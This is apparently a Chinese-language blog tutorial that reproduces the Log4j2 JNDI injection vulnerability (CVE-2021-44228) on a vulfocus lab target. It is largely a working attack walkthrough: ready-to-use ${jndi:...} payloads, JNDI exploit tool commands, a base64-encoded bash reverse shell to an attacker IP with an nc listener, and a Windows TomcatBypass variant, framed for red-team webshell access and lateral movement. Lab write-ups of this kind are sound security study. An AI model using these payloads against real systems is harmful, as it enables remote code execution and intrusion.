Log4j2简述
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了 Logback
中可用的许多改进,同时修复了 Logback 体系结构中的一些固有问题,几乎每个大型应用程序
都包含自己的日志记录或跟踪而Log4j2重新架构的Log4j并且弥补了其不足。
官方网址介绍:
https://logging.apache.org/log4j/2.x/manual/index.html
Log4j2漏洞简介
官网版本信息漏洞介绍:
https://logging.apache.org/log4j/2.x/security.html
下面复现是Log4j CVE-2021-44228漏洞该漏洞是Log4j2的JNDI注入漏洞
说明是JNDI:
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,
JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射
为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是
用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI实现原理:
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)
查找资源。
格式 ${jndi:rmi:192.168.102.66:1099/JJKK}
日志中包含 ${},lookup就会去解析括号里面的内容.
如:攻击payload:${jndi:rmi:192.168.102.66:1099/JJKK}
当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令
执行漏洞通俗来说JNDI就是名字去寻找对应的资源,举个例子在大型项目中更换数据库驱动是一件很麻烦的事情,这个
时候出现了一种通过配置文件进行替换的方式这种就可以理解为JNDI,我们只需要关注数据源就行了JNDI会自动去寻找
配置这个数据源,也可以看成是一个管理部门对目标资源进行统一调配和管理,当访问者需要调配资源时只需要告诉
资源名JNDI就会自己去实现。
Log4j2漏洞利用(Linux Bash Shell反弹Shell)
可以反弹Linux目标shell利用步骤:
1.打开dnslog.cn使用${jndi:ldap://dnslog}该poc验证漏洞
2.使用JNDI工具开启弹出shell
3.触发恶意JNDI注入拿到目标主机shell
靶场说明:
这里选择了vulfocus靶场的Log4j2远程命令执行(CVE-2021-44228)
利用步骤1:
查看页面
点击链接查看
尝试JNDI注入打开dnslog.cn网页请求一个dns
使用poc进行验证:${jndi:ldap://kbe54t.dnslog.cn}
利用步骤2:
工具准备:https://github.com/bkfish/Apache-Log4j-Learning/tree/main
JNDI-Injection-Exploit格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
Bash Shell格式只能反弹目标是Linux的机器Windows的利用方式在下面。
bash -i >& /dev/tcp/ip/port 0>&1
需要进行Base64编码一下
完整JNDI-Injection-Exploit格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzOC4xMjkvNjY2NiAwPiYxIA==}|{base64,-d}|{bash,-i}" -A 192.168.138.129
完整exp:${jndi:rmi://192.168.138.129:1099/wpzmsn}
JNDI的ldap和rmi链接生成成功,下面使用nc监听Bash Shell 6666端口
nc -lvvp 6666
Log4j2漏洞利用(Windows 反弹Shell)
这样的靶场环境是Windows下docket跟上述linux靶场一样。
JNDI利用工具下载:
https://github.com/Jeromeyoung/JNDIExploit-1
已经编译好的jar文件:
https://github.com/Mr-xn/JNDIExploit-1
支持的格式查看:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
参数说明:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps公网地址 -l port -p port //-l 指定ladp服务端口 -p 指定HTTP服务端口
这里使用TomcatBypass Queries利用方式
ldap://192.168.138.129:7777/TomcatBypass/Command/whoami
利用exp:
${jndi:ldap://192.168.138.129:7777/TomcatBypass/TomcatEcho}
cmd:whoami
总结
本篇文章讲解了Log4j2的常见利用手法,该漏洞影响的范围非常大在护网中经常会使用重大漏洞Get WebShell后续
攻击内网横向移动拿到靶标,后续我会推出李同学红队仿真靶场尽可能的还原护网场景感兴趣的朋友关注下。